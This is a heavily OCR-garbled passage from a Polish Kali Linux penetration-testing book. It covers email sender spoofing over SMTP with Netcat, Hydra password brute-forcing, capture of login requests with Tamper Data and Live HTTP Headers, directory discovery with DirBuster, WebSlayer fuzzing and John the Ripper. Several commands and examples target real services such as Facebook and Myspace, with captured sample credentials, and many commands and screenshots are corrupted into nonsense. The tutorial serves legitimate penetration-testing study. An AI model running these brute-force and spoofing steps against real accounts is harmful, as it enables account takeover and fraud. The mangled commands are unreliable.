root@kali:~# nstcat mail.secmob.net 25 Gdy uzyskamy za pomocą programu Netcat połączenie z serwerem pocztowym, użyjemy po lecenia HELO do poinformowania serwera, „kim jesteśm y”. Jeżeli otrzymamy od serwera odpowiedź, w wielu przypadkach będziemy mogli nim manipulować za pomocą odpowiednich poleceń protokołu SM TP (aczkolwiek niektóre systemy mogą być skonfigurowane tak, aby nie reagować na tak wydawane polecenia). W naszym przykładzie rozpoczęliśmy sesję z serwerem od przedstawienia się za pomocą polecenia HELO , a teraz spróbujemy wykorzystać ten serwer do przekazywania naszych odpowiednio spreparowanych wiadomości pocztowych, które ułatwią nam dalszą eksplorację atakowanego środowiska. Wysłanie wiadomości pocztą elektroniczną wymaga jedynie wykonania poleceń HELO , MAIL FROM, RCPT TO oraz D a ta . Innych poleceń możesz użyć do ukrywania listy odbiorców takiej wiadomości czy do zmiany adresu zwrotnego (pole Reply-To). W przykładzie przedstawionym poniżej pokazujemy, jak przygotować informację o nadawcy wiadomości, aby przekonać od biorcę, że wiadomość została wysłana przez kogoś zupełnie innego. fifiIL F R O M : soneone_ inportantPc 1oudcentr ic s .eon
Pełną listę poleceń protokołu SM TP możesz znaleźć w dokumencie R F C 8 2 I lub po prostu za pomocą wyszukiwarki Google.
124
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Ataki typu brute-force Ataki typu bru te-force (czyli inaczej mówiąc, ataki metodą siłową) polegają na tym, że napast nik sprawdza po kolei wszystkie możliwe kombinacje kluczy szyfrujących, dopóki nie znaj dzie właściwego klucza pozwalającego na odszyfrowanie danych. Takie ataki są niezmiernie kosztowne z punktu widzenia zasobów i czasu, jaki należy poświęcić na ich przeprowadzenie. Pewnym ułatwieniem może być wykorzystanie podczas ataku słabych stron algorytmu szy frującego, wykorzystanie niewielkiej długości klucza czy jego prostoty. Wielu użytkowników, tworząc hasła, wybiera po prostu słowa z języka, którym się posługuje na co dzień. W takiej sytuacji całkowita liczba haseł, które musi sprawdzić napastnik, je st ograniczona do liczby słów w słowniku danego języka i ich ewentualnych modyfikacji, co znakomicie redukuje przestrzeń możliwych haseł w stosunku do haseł składających się z zupełnie losowych zna ków alfanumerycznych. D obrą praktyką, znakomicie utrudniającą przeprowadzenie ataku ty pu b ru te-force, jest po prostu używanie długich, złożonych haseł, składających się z małych i wielkich liter, cyfr i znaków specjalnych oraz zaimplementowanie mechanizmu czasowego blokowania konta po wykryciu określonej liczby kolejnych niepomyślnych prób zalogowania się do systemu. Oczywiście są to tylko przykłady, a możliwych metod zwiększenia bezpie czeństwa jest znacznie więcej.
Hydra Hydra to narzędzie zaprojektowane przez grupę programistów z organizacji T he H acker’s Choice (THC), które wykorzystuje metodę brute-force do testowania wielu różnych protokołów komunikacyjnych i łamania haseł. Jest to idealne narzędzie do atakowania serwerów pocztowych, ponieważ pozwala na zaatakowanie hosta o określonym adresie IP przy użyciu danego protokołu, na przykład POP3 i SMTP) używanego przez systemy pocztowe. Jak zwykle, przed użyciem skanera Hydra powinieneś przeprowadzić dokładne rozpoznanie celu. W rozdziale 2., „Rekonesans”, opisywaliśmy narzędzie o nazwie Zenmap, za pomocą którego możesz uzyskać następujące informacje niezbędne do użycia skanera Hydra: ■
adres IP serwera będącego celem ataku (na przykład 192.168.1.1),
■
listę otwartych portów komunikacyjnych (na przykład porty 80 i 25),
■
protokoły komunikacyjne używane przez poszczególne usługi (na przykład H TTP dla usługi W W W oraz SM TP dla poczty elektronicznej),
■
nazwy kont użytkowników (na przykład admin).
Kolejnym narzędziem, za pomocą którego często przeprowadzany jest rekonesans i zbierane są informacje dla skanera Hydra, jest wtyczka Tamper D ata dla przeglądarki Firefox.
125
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Tamper Data to narzędzie napisane przez Adama Judsona, które pozwala użytkownikowi na przeglądanie i modyfikowanie żądań GET i POST protokołów HTTP i HTTPS. Informacje te mogą być bardzo użyteczne dla narzędzi takich jak Hydra, ponieważ pozwalają one na zautomaty zowanie procesu otwierania strony internetowej i testowania różnych kombinacji nazw kont użytkowników i haseł dostępu. Po zainstalowaniu i włączeniu wtyczki Tamper Data możemy rozpocząć wpisywanie danych w formularzu logowania strony internetowej. lib* 1ilil Vw*w 1lisliay I L k ikm.uk-. I i x i K J C Or » u n i limp.. (■ /
» • • • :;
A Most Visited
1IH p
+ taceeookcom Getting Started
“ *
Tim e
Gmail 4 iCIood
Tech
FT
Ethical Hacking
apptetv-hd - TPB
The Hacker Academ y
Imported
Sign Up
Connect with friends and the
It’s tree and always will be.
world around yo u on Facebook.
First Name
T a m fie i D rfla - O n g o in g iH q iiH s k Sl.n l T.jnifK't Sn ip T.Mti|Mt O r .«
O pliiur. H H p
Size •1
Method CLI
Status
Content Iype
21X1 200
lexl/xml Irxl/arnl
Tamper with request? https//
id-tdll
e
https/Aiw w.łaceboofccom /Togirtpfip/login attempt *1 V Continue Tampcrinq?
126
^
Show All lo taf (Airation
& O
Last Name —
Filter (Juration
SIF
URL
Load flags
4*
ft
O sco Secunty Partners...
m
facebook
lim e
fi
H * coogle
>
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Wtyczka Tamper Data wyświetla przechwycone informacje w odpowiednio pogrupowanych polach. Użytkownik lub napastnik może modyfikować zawartość poszczególnych pól i ponownie wysyłać dane nawet w sytuacji, kiedy komunikacja ze stroną internetową jest szyfrowana. Idflipcf 1’opup httpsy/sccurc.wwtcom/nidp/saml2/sso?sid*0 Rc(|im"sI Hcrid«*t Nii... Rc«|ih*sI Ho i ...
Pcr.1 P.H.IIIH’Ilt Nil... Plisl PtKtlllM'l...
1lost
secure.wwLcor
option
IKer AqcnT
Mo7ill.y5.0 (W
Frn m JKrrjr)
pink
Accepl
lexl/hlml.dppl
kcuuiJ’dsswutU
piokpiintew.
loginButton2
Login
Accept-Language
en-U5,en;q 0.i
Accept Encodinq
qzip, deflate
RnfwHI
Illl|isy/VHMIIH.\
Cookie
JSESSI0NID-3
credential
OK
f.iiM rl
W naszym przykładzie widzimy, że użytkownik przed kliknięciem przycisku Login wpisał na zwę konta pin k oraz hasło pinkprincess. Oba przedstawione przykłady to typowo praktyczne metody przeprowadzania rekonesansu i zdobywania informacji potrzebnych dla skanera Hydra. Oczywiście istnieje wiele metod wyko rzystujących inne narzędzia dostępne w systemie Kali Linux, pozwalające na zdobywanie danych dla skanera Hydra, aczkolwiek uważamy, że Netcat oraz Tamper Data są jednymi z najefek tywniejszych i najczęściej polecanych. Teraz, kiedy zakończyliśmy już fazę rekonesansu, możemy uruchomić skaner Hydra i zobaczyć, w jaki sposób w praktyce możemy użyć zdobytych informacji do przeprowadzenia ataku typu bru te-force na hasła dostępu. Aby w systemie Kali Linux uruchomić skaner Hydra, w menu głównym przejdź do grupy Kali Linux, a następnie wybierz polecenie Password Attacks/Online Attacks/Hydra. Na ekranie pojawi się okno terminalu, w którym zostanie uruchomiony skaner Hydra. Hydra i s a to o l to g u e ss/cra ck v a lid lo gin /p a ssw o rd p a ir s - usage on ly allow ed fo r le g a l purposes. Newest v e rsio n a v a ila b le at h t t p ://w w w .th c.org/th c-h yd ra The fo llo w in g s e r v ic e s were not com piled in : sapr3 o ra c le . Exam ples: hydra -1 hydra -L hydra -1 hydra -C
john -p doe 1 9 2 i ftp l~~ u s e r .t x t -p defau ltafc fl-S 1S2. |68|.oL 1 in ^p PL^|irJ/ * admin -P pass . d e f a u lt s .t x t -6 p o p 3 s :// [fe 8 0 : : 2 c : 3 1 f f : fe l2 :a c 1 1 ] :143/DIGEST-MD5
root@kali:-#
Szczegółową instrukcję posługiwania się skanerem Hydra znajdziesz w dokumentacji programu. Jeżeli chcesz dokonać ataku na przykład na konto administratora systemu o adresie 192.168.1.1 z wykorzystaniem jego pliku haseł i protokołu SM TP powinieneś wykonać następujące polecenie: h y d ra - l
admin -p / r o o t / p a s s w o r d .t x t 1 9 2 .1 6 8 .1 .1 smtp
127
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Jeżeli chcesz wykorzystać skaner Hydra do ataku na stronę internetową zawierającą formu larz logowania, musisz podać trochę informacji, które zdobyliśmy za pomocą wtyczki Tamper Data. Składnia wywołania skanera Hydra dla formularza strony internetowej je st następująca: : :< ciąg znaków d la niepom yślnego logowania>. URL=https://www.facebook.com/login.php?login_attempt=1email=pink&passwd= ^pinkprincessl& login="log in" Teraz możesz wreszcie uruchomić skaner Hydra. W parametrach wywołania musisz podać ścieżkę do pliku zawierającego nazwy kont użytkowników oraz ścieżkę do pliku zawierającego hasła. h y d ra - L / c lo u d c e n t r ic s / u s e r n a m e lis t -P / c lo u d c e n t r ic s / p a s s w o r d s _ d e m o _ f i l e . t x t t -fa c e b o o k .c o m h t t p - g e t - f o r m " lo g in .p h p ? lo g in _ a t t e m p t = 1 :u s e r n a m e = ~ E M A IL~ & T O K E N = ~ P A S S W O R D ~ & lo gin = Lo g in :in co rre ct"
Składnia polecenia może się robić coraz bardziej skomplikowana i może się zmieniać w zależności od badanej witryny (a czasami nawet w ramach danej witryny). Z tego powodu przed przystą pieniem do przeprowadzania testów penetracyjnych powinieneś poćwiczyć pracę z tym ska nerem i wtyczką Tamper D ata w kontrolowanych warunkach laboratoryjnych, aby poznać możliwości tych narzędzi i nabrać wprawy w ich używaniu.
DirBuster D irBuster to skaner aplikacji internetowych, pozwalający na „siłowe” wykrywanie na serwerach W W W folderów i plików, które nie są normalnie dostępne. Bardzo często zdarza się, że serwery W W W wyglądają tak jak w domyślnych ustawieniach po instalacji, podczas gdy w rzeczywistości posiadają szereg aplikacji i stron internetowych, ukrytych gdzieś głęboko w normalnie niedo stępnych plikach i folderach. D irBuster to narzędzie pozwalające na znajdowanie właśnie ta kich ukrytych skarbów. Aby uruchomić program DirBuster w systemie Kali Linux, powinieneś w menu głównym przejść do grupy K ali Linux, a następnie wybrać polecenie W eb A pplications/W eb C raw lers/dirbuster. Na ekranie pojawi się okno programu, w którym przed rozpoczęciem ataku musisz w odpo wiednich polach wpisać trochę niezbędnych informacji. Jako absolutne minimum musisz podać adres U R L serwera będącego celem ataku, wybrać liczbę wątków skanowania (sugerujemy wybranie liczby nie większej niż 100) oraz podać listę plików. W tym ostatnim przypadku możesz kliknąć przycisk B row se i wybrać listę domyślną lub wskazać własną. Po podaniu podstawowych informacji możesz kliknąć przycisk Start — program D irBuster rozpocznie skanowanie serwera docelowego i wyszukiwanie luk w jego zabezpieczeniach. W więk szości przypadków wyświetli się zaraz komunikat, że proces skanowania zajmie co najmniej kilka najbliższych dni. W praktyce jednak już po kilkunastu minutach znajdziesz dużo intere sujących informacji. Na rysunku zamieszczonym poniżej pokazano, że program D irBuster wykrył folder o nazwie /cgi-bin/, którego zawartość może być bardzo interesująca (zobacz ry sunek na następnej stronie pod ramką).
128
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
Pamiętaj, że niektóre dystrybucje systemu Kali Linux mogą nie posiadać preinstalowanego, domyślnego zestawu słowników. W takiej sytuacji możesz pobrać słowniki z internetu i następnie wskazać ich lokali zację programowi DirBuster, jak przedstawiono na rysunku poniżej: O W A S P D irB u k te r l . O - R C l - W « b A p p lic a t io n B ru t « F o r c in g Filv
O U se GET requuklk only 0 Aulo Switch (HEAD und GET)
f.alart scanning typ*:
®
11st basart hnita forr*
O (*•** Rnita rn rr a
Fil« willi liki uf diik/Tilek
1h ool7D«kklop/wordlikl.lkl
Biowk« | Q Liki lulu |
( har aat [a ZA ZO 9 % 2 0 ____________________ Min lanqrh li ________| Ma* I angrh m____
Salart starting options:
® standard start point
Q Ulu l U77
0 R tid o F or c r O irs
0 B c R c c u rs w c
0 nnita r orra rilas
y U5C Blank Extension
D ii l o k lu r l w illi
|/
Filc extension
URL to tuzz - Aest.htm f?uri=idir>.asp [
i S ta rt
ftjF x ir P le ase c o m p le te th e t e s t d e ta ils
O W A S P D ir B u s t e r l . O - R C l - W e b A p p lic a tio n B ru te F o rc in g File
Options
About
Help
http://www.thesecurityblogger.com:80/ @ Scan Information 'Results - List View: Dirs: 566 Files: 0 \ Results -Tree View Type Dir Dir Dir Dir Dir Dir Dir Dir Dir Dir Dir Dir Dir Dir
Każdy folder, dla którego nadeszła odpowiedź inna niż 404, może być przedmiotem dalszej eksplo racji. Aby skoncentrować się na znalezionym wcześniej folderze /cgi-bin/, zatrzymaj teraz skan, klikając przycisk Stop, a następnie kliknij przycisk B ack. Teraz w głównym oknie programu odszu kaj pole Dir to .start with, które znajduje się nieco powyżej przycisku Start, wpisz w nim nazwę folderu, od którego chcesz ponownie rozpocząć poszukiwania, i ponownie kliknij przycisk Start. D ir t o s t a r t w it h F ile e x t e n s io n
|/c g i- b in /| Ip h p
Najprawdopodobniej w wyniku takiej operacji znajdziesz kolejny zestaw folderów, którym będziesz chciał się przyjrzeć. Aby to zrobić, powtarzaj zatrzymywanie całego procesu, aktu alizację nazwy folderu startowego i ponowne uruchamianie skanowania tak długo, aż uzyskasz satysfakcjonujący Cię obraz struktury atakowanej witryny internetowej. Na rysunku poniżej przedstawiono przykładowe wyniki mapowania folderu cgi-bin: H D D
O W A S P D ir B u s t e r l . O - R C l - W e b A p p lic a tio n B ru te F o rc in g File
O p tio n s
About
H elp
h ttp ://w w w .th e s e c u rity b lo g g e r.c o m :8 0 /c g i-b in / S can In fo rm a tio n ' R e s u lts - List V iew : Dirs: 8 1 5 Files: 8 2 7 \ R e s u lts - T re e V ie w '1,A Type Dir D ir D ir D ir D ir D ir D ir D ir D ir D ir D ir D ir D ir D ir
F o un d /c g i-b in / /c g i-b in /a rt ic le / /c g i-b in /s p e c ia l/ /c g i-b in /s u p p o rt/ /c g i-b in /0 9 / /c g i-b in /lo g in / /c g i-b in /2 0 0 4 / /c g i-b in /1 8 / /c g i-b in /h e lp / /c g i-b in /s p / /c g i-b in /p ro file / /c g i-b in /p o lic ie s / /c g i-b in /m o re / /rn i-h in /in fn f
C u rre n t s p e e d : 1 3 4 re q u e s ts /s e c
[S e le c t a n d rig h t c lic k f o r m o re o p tio n s )
A v e ra g e s p e e d : (T) 4 3, (C) 8 7 re q u e s ts /s e c P arse Q u e u e Size: 0
C u rre n t n u m b e r o f ru n n in g th r e a d s : 1 0 0
T o ta l R e q u e s ts : 2 9 2 8 /3 3 7 6 0 6 8 2 9
C hange |
Tim e To Finish: 4 4 Days <^i B ack D irB u s te r S to p p e d
OD P a u se
R e p o rt
/cgi-bln/201/
Po zakończeniu skanowania możesz automatycznie wygenerować raport. Aby to zrobić, kliknij przycisk R eport, następnie wybierz folder, w którym raport zostanie zapisany, i kliknij przy cisk G en erate R eport. Raport zostanie zapisany w pliku tekstowym i wyświetlony na ekranie.
130
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
D ir B u s t e r 1 .0 - R C 1 R e p o rt V ie w e r /ro o t/D e s k to p /D irB u s t e rR e p o rt-w w w .th e s e c u rity b lo g g e r.c o m -8 0 .tx t |Full T e x t|\ S im p le List \ XM L\ CSV \ -
D irB u s te r 1.0-RC1 - R e p o rt h ttp ://w w w .o w a s p . o rg /in d e x , p h p /C a t e go ry: O W A S P _D irB uste r_P ro ject R e p o rt p ro d u c e d o n T h u M ay 0 9 1 5 :2 8 :1 0 EDT 2 0 1 3
-Li
h ttp ://w w w .th e s e c u rity b lo g g e r.c o m : 8 0 D ire c to rie s fo u n d d u rin g te s tin g : Dirs fo u n d w ith a 4 0 3 re s p o n s e : /e g ¡-bin/ /c g i -b in /te s t/ Dirs fo u n d w ith a 5 0 3 re s p o n s e : /c g i - b in /fe a tu re s / /c g i-b in /p a g e / / c g i-b in /5 / / c g i-b in /2 2 / /c g i-b in /d o c s / / c g i-b in /2 0 / /c g i-b in /d o w n lo a d s / /c g i-b in /4 / /c g i-b in /m a in /
C lose
WebSlayer
^
_______ W
e b s l a y e r E
d g e
-S
e c u r it y
W ebSlayer to skaner aplikacji internetowych pozwalający na siłowe atakowanie żądań Form (nazwa konta użytkownika i hasło dostępu) oraz parametrów metod GET i POST. WebSlayer pozwala również na wykrywanie zasobów, które nie są podłączone do aplikacji internetowej, takich jak skrypty, pliki, katalogi itd. Program WebSlayer posiada własny generator ładunków i analizator wyników działania. Na karcie A ttack Setup znajduje się pole o nazwie Url, w którym musisz wpisać adres U R L aplikacji internetowej. Poniżej znajdują się pola o nazwach H ead er oraz POST, w których możesz wprowadzić odpowiednie dane. Jeszcze niżej znajdziesz listę rozwijaną Payload type, za pomocą której możesz wybrać jeden z trzech typów ładunku: Dictionary, Range lub Payload. Opcja Dic tionary pozwala na wybranie pliku zawierającego Twój własny słownik lub jeden ze słowników
131
fl
K a li L in u x . T e s ty p e n e tra c y jn e
domyślnych. O pcja R ange umożliwia zdefiniowanie zakresu ataku, a opcja P ayload daje moż liwość zaimportowania ładunku z generatora (karta P ayload G enerator). Poniżej znajdziesz rysunek przedstawiający okno programu WebSlayer skonfigurowanego do skanowania witryny www. thesecurityblogger. com .
Generator ładunków to narzędzie, za pomocą którego możesz utworzyć swoje własne ładunki, takie jak słowniki, zakresy wartości liczbowych, bloki znaków, permutacje, numery kart kre dytowych, nazwy kont użytkowników i inne. Poszczególne elementy mogą być ze sobą łączo ne i razem tworzyć finalną wersję ładunku, który następnie może zostać zaimportowany na kartę A ttack Setup i wykorzystany do przeprowadzenia starannie przygotowanego ataku. Na kolejnym rysunku możesz zobaczyć przykład definiowania ładunku w postaci zbioru war tości liczbowych z zakresu od 0 do 1000. Po zdefiniowaniu zakresu kliknij przycisk A d d G en e rator, co spowoduje utworzenie ładunku roboczego w polu T em poral G enerators. Teraz prze ciągnij nowo utworzony ładunek roboczy na pole Pattern, znajdujące się na karcie P ayload C reator, i kliknij przycisk G en erate PAYLOAD. Po zakończeniu będziesz mógł zaimportować nowy ładunek na kartę A ttack Setup (zobacz pierwszy rysunek na następnej stronie). Po zaimportowaniu wybranego ładunku i umieszczeniu go w scenariuszu przygotowywanego ataku musisz wybrać m iejsce, w którym W ebSlayer będzie próbował wstrzyknąć ładunek. Aby to zrobić, powinieneś w wybranym miejscu adresu U RL celu umieścić słowo kluczowe FUZZ.
132
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
/\
v
x
|
W e b S la y e r
File
Przykład został przedstawiony na kolejnym rysunku, gdzie słowo kluczowe FUZZ w adresie witryny w w w .thesecu rityblogger.com zostało użyte do przeprowadzenia ataków przy wykorzystaniu dwóch ładunków (słowników).
133
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Za pomocą programu W ebSlayer możesz przeprowadzić atak na dowolny fragment żądania H TTP takiego jak nagłówek i uwierzytelnianie. Jeżeli chcesz użyć programu W ebSlayer do siłowego złamania hasła dostępu do serwera aplikacji internetowych, powinieneś znać nazwę konta użytkownika — w przeciwnym wypadku W ebSlayer najprawdopodobniej nie odegra swojej roli. Aby to osiągnąć, musisz przechwytywać odpowiednie żądania H TTP i próby lo gowania, aby pozyskać z nich dane niezbędne do przeprowadzenia ataku.
D la przeglądarki Firefox istnieje wtyczka o nazwie Live H TTP H ead ers, za pomocą której mo żesz zebrać potrzebne informacje podczas logowania się do serwera. Na następnym przykładzie pokazano przechwytywanie pakietów z nagłówkami HTTP podczas logowania się do serwera usługi Myspace użytkownika o nazwie joeym u n iz, który użył do logowania nieprawidłowego hasła.
W naszym przykładzie wtyczka Live H TTP H ead ers pozwoliła na przechwycenie dwóch waż nych informacji, User-Agent oraz L ogin C redentials (zobacz dwa kolejne rysunki), które na stępnie mogą zostać wykorzystane przez skaner WebSlayer.
134
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
eoo
|
Live HTTP h ea de rs G e n e ra to r
C o n fig
About |
H T T P H e a d e rs A c c e p t-E n c o d in g : g z ip , d e fla te C o n te n t- T y p e : a p p l i c a t io n / x - w w w - f o r m - u r le n c o d e d ; c h a rs e t= L T T F -8 H a s h : M z F h M D g w M W Z jZ jB h Y m U 3 Z A fD ih n C g l/D g y A e W G Q s w o 3 C n 3 3 D n H 8 Y w 6 n C s jlU w 5 B W U 3 g rQ E x H w 6 jC s M O K w 7 v C h M K y w o H C v 8 K Z w 6 ... X - R e q u e s te d - W ith : X M L H ttp Re q u e s t R e fe re r: h t tp s : //n e w .fn y s p a c e . c o m /s ig n ir r C o n te n t- L e n g th : 8 0 C o o k ie : M 5 C (jltu re = IP = 6 8 . 3 3 .1 9 2 ,1 2 6 & IP C u ltu r e = e n - U S & P r e fe r r e d C u ltu r e = e n - U S & P r e f e r r e d C u lt u r e P e n d in g = & C o u n tr y = W M = & F o r c e d E .. . C o n n e c tio n : k e e p - a liv e P ra g m a : n o - c a c h e C a c h e - C o n tr o l: n o - c a c h e e m a il = jo e y m u n iz & p a s s w o r d = h a p p y jo y jo y & p a g e ld = a lc 3 a 0 e 7 - a l0 2 - 4 9 S f - b 3 2 2 - la 8 2 b 8 1 a 6 e e c
H T T P / l . L 4 0 1 U n a u th o r iz e d V a ry : A c c e p t -E n c o d in g 5 e t- C o o k ie : v i s i t _ i d = 4 d 3 f e 7 3 8 - 3 c 9 f - 4 b c d - 8 4 4 6 - 5 8 8 f b 3 2 1 c l 4 f ; d o m a in = . m y s p a c e .c o m ; p a t h = / ; e x p ir e s = T u e , 3 0 A p r 2 0 1 3 1 5 :2 7 :4 0 ...
I
Save A ll...
|
|
R e p la y ...
|
I.^I C a p tu r e
C le a r
I
|
C lo s e
Informacje o przeglądarce, z której korzysta użytkownik (pole User-Agent), powinny zostać umiesz czone w sekcji H ead ers karty A ttack Setup, natomiast dane użytkownika (Login C redentials) powinny się znaleźć w sekcji POST Data. W polu Url powinieneś wpisać adres U R L strony logowania do aplikacji internetowej. Następnie z listy rozwijanej A uthentication musisz wy brać metodę uwierzytelniania i nazwę konta użytkownika. Na kolejnym rysunku pokazano sposób wykorzystania informacji przechwyconych przez wtyczkę Live H TTP H ead ers do skonfigurowania skanera WebSlayer. Zwróć uwagę, że błędne hasło w polu POST D ata zostało zastąpione słowem kluczowym FUZZ, dzięki czemu WebSlayer będzie „wiedział”, którą część żądania należy poddać atakowi siłowemu. Z listy rozwijanej A uthenti cation wybrana została opcja basic, a w polu obok została wpisana nazwa konta użytkownika (joeymuniz), po której następuje znak dwukropka i słowo kluczowe FUZZ.
135
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Podsumowując, aby odpowiednio przygotować atak, musisz znać adres witryny internetowej, rodzaj przeglądarki (User-Agent), dane logowania oraz nazwę konta użytkownika. W miejscu, w którym powinno się znajdować hasło dostępu, umieszczasz słowo kluczowe FUZZ, a następ nie wybierasz słownik haseł, który zostanie użyty podczas ataku. Jak widać, jest to stosunkowo prosty sposób przeprowadzenia ataku typu b ru te-force na serwer aplikacji internetowych.
W rzeczywistości usługa Myspace wykorzystuje znacznie lepsze metody uwierzytelniania użytkowników niż te, które zostały przedstawione w naszym przykładzie.
Serwery aplikacji internetowych, w których zostały zaimplementowane dodatkowe mechani zmy zabezpieczające, jak na przykład automatyczne, czasowe blokowanie konta użytkownika po wykryciu kilku kolejnych prób zalogowania się zakończonych niepowodzeniem, będą naj prawdopodobniej całkowicie niewrażliwe na taki rodzaj ataku. Co w ięcej, zaawansowane m e chanizmy obronne, takie jak systemy IPS/IDS zainstalowane w środowisku celu, z pewnością szybko wykryją próbę takiego ataku na monitorowane zasoby. Z tego powodu, jeżeli planujesz wykorzystanie skanera W ebSlayer bez przeprowadzenia wyjątkowo starannego rekonesansu, powinieneś zachować szczególną ostrożność. Program W ebSlayer pozwala na wyeksportowanie zdefiniowanych ładunków oraz wyników skanowania do plików tekstowych lub plików H TM L. Istnieje również możliwość przechwy cenia zawartości dziennika programu i skopiowania go do pliku tekstowego.
136
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
»Words Lrl 1SÜ&W http2 /www.thesecuntybloęęer.com l ‘Publisher 1 http://www.thesecuntyblopęer.c om/Twp-html-rendhttp ' -WWWthesecuntyblogger.com,'-wp^s-dump1 l i W htro://www.thesecuntvblooqer.com/"wr>-stoD-ver1 htro://www.thesecuntvbloaaer.com/'wrj-start-ver13MSW http://wwwthesecuntvblogqer c om/’wp-uncheckout 13&4&W http://www thesecuntvblogqer c om/^wp-usr-prop 20 W |http.//www.theserinitybloqoer.r,oin/cqi-hm 1 http://www.thesenintyhloqger.r.nm/?wp-ver-diff— 1354»W http://www.thesenintyhloqqer.r nm/?wp-ver-info= 1354»W http-Jfwww.thesenintyhloqger.r omf/wp-yen fy-link =
Mctalayer tn OMASP Project
Łamanie haseł Hasła to obecnie najczęściej spotykana metoda uwierzytelniania użytkowników. Powszechnie wiadomo, że hakerzy po uzyskaniu dostępu do pierwszego systemu w atakowanym środowi sku dokonują prób wyszukiwania, przechwytywania czy łamania haseł dających dostęp do in nych systemów. W rozdziale 4., „Ataki na klienty aplikacji internetowych”, znajdziesz osobny podrozdział dotyczący zagadnień związanych z łamaniem haseł przy użyciu narzędzi dostęp nych w systemie Kali Linux, natomiast teraz przyjrzymy się tylko jednemu z najpopularniej szych narzędzi służących do tego celu.
John the Ripper John the Ripper to obecnie zdecydowanie najpopularniejsze i najczęściej używane narzędzie przeznaczone do łamania haseł. Program ten posiada kilka silników pozwalających na łamanie różnego typu haseł, włącznie z hasłami szyfrowanymi (ang. encrypted passw ords) i haszowanymi (ang. h ash ed passwords). John the Ripper potrafi automatycznie wykrywać hasła szyfrowane i haszowane, co jest znakomitym ułatwieniem dla pentesterów. Potencjalni napastnicy i inne czarne charaktery również bardzo lubią ten program, ponieważ posiada wiele opcji konfiguracyj nych, pozwalających na przyspieszanie procesu łamania haseł, i można go w łatwy sposób do stosować do własnych potrzeb. Proces łamania haseł za pomocą programu John the Ripper odbywa się zazwyczaj w nastę pujący sposób: ■
Próba złamania hasła za pomocą ataku słownikowego.
■
Modyfikacja ataku słownikowego poprzez dodawanie do kolejnych wyrazów przedrostków i przyrostków alfanumerycznych.
■
Modyfikacja ataku słownikowego poprzez łączenie ze sobą poszczególnych wyrazów.
■
Zastosowanie znaków alfanumerycznych do łączenia wyrazów.
137
fl
K a li L in u x . T e s ty p e n e tra c y jn e
■
Atak wykorzystujący wyrazy ze słowników wymieszane ze znakami specjalnymi.
■
Jeżeli żaden z powyższych ataków nie zakończy się powodzeniem, przechodzimy do ataku metodą b ru te-fo rce.
Dobrą praktyką jest częsta aktualizacja domyślnego słownika. Z naszych testów wynika, że do myślna lista wyrazów składa się zaledwie z 3115 pozycji, co z całą pewnością nie daje żadnej gwarancji złamania nawet popularnych i często używanych haseł. Na szczęście bez żadnych trudności można znaleźć dodatkowe, znacznie obszerniejsze słowniki za pomocą wyszukiwarki Google. Aby sprawdzić liczbę wyrazów w nowym słowniku, powinieneś po zakończeniu po bierania otworzyć okno terminalu i wykonać polecenie wc -1 NAZWA_PLIKU, gdzie NAZWA_PLIKU to oczywiście nazwa pobranego pliku słownika. Kiedy pobierasz z internetu i łączysz ze sobą różne słowniki, bardzo często zdarza się, że za wierają one duplikujące się hasła (czasami wielokrotnie). W takiej sytuacji zdecydowanie za lecamy usuwanie powtarzających się haseł, jak również haseł zapisanych wielkimi literami, które mają już swoje odpowiedniki zapisane małymi literami (John the Ripper automatycznie sprawdza oba warianty haseł). Poniżej przedstawiamy przykład polecenia, które możesz wy korzystać do usunięcia wyrazów zapisanych wielkimi literami. t r A-Z a-z < CustomWordFile > AllLowerCaseFile Za pomocą kolejnego polecenia możesz usunąć ze słownika powtarzające się wyrazy. so rt -u AllLowerCaseFile > NoDuplicatesOrUpperCase Teraz powiniene ś sprawdzić nową liczbę wyrazów w słowniku. Aby to zrobić, wykonaj nastę pujące polecenie: wc -1 NoDuplicatesOrUpperCase Aby w systemie Kali Linux uruchomić program John the Ripper, w menu głównym przejdź do grupy K ali Linux, a następnie wybierz polecenie Passw ord A ttacks/O ffin e A ttack/John. Na ekranie pojawi się okno terminalu.
Johnny to wersja programu John the Ripper wyposażona w graficzny interfejs użytkownika. Więcej szczegóło wych informacji na temat programu Johnny znajdziesz w rozdziale 4., „Ataki na klienty aplikacji inter netowych".
Jeżeli chcesz sprawdzić szybkość działania programu John the Ripper, możesz w oknie term i nalu wykonać polecenie john -te s t. Aby jako słownika domyślnego użyć własnego pliku słownika, takiego jak plik N oD uplicatesO rU pperCase z poprzedniego przykładu, musisz w konfiguracji programu zmienić wpis repre zentujący domyślną listę haseł. Przejdź do domyślnego folderu programu John the Ripper, znajdź plik john.con f, otwórz go w swoim ulubionym edytorze tekstu i poszukaj opcji Wordlist, która wskazuje na domyślny słownik o nazwie passw ords.lst.
138
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
fl
# Wordlist file name, to be used in batch mode ardlist = $JOHN/password.lst_________________
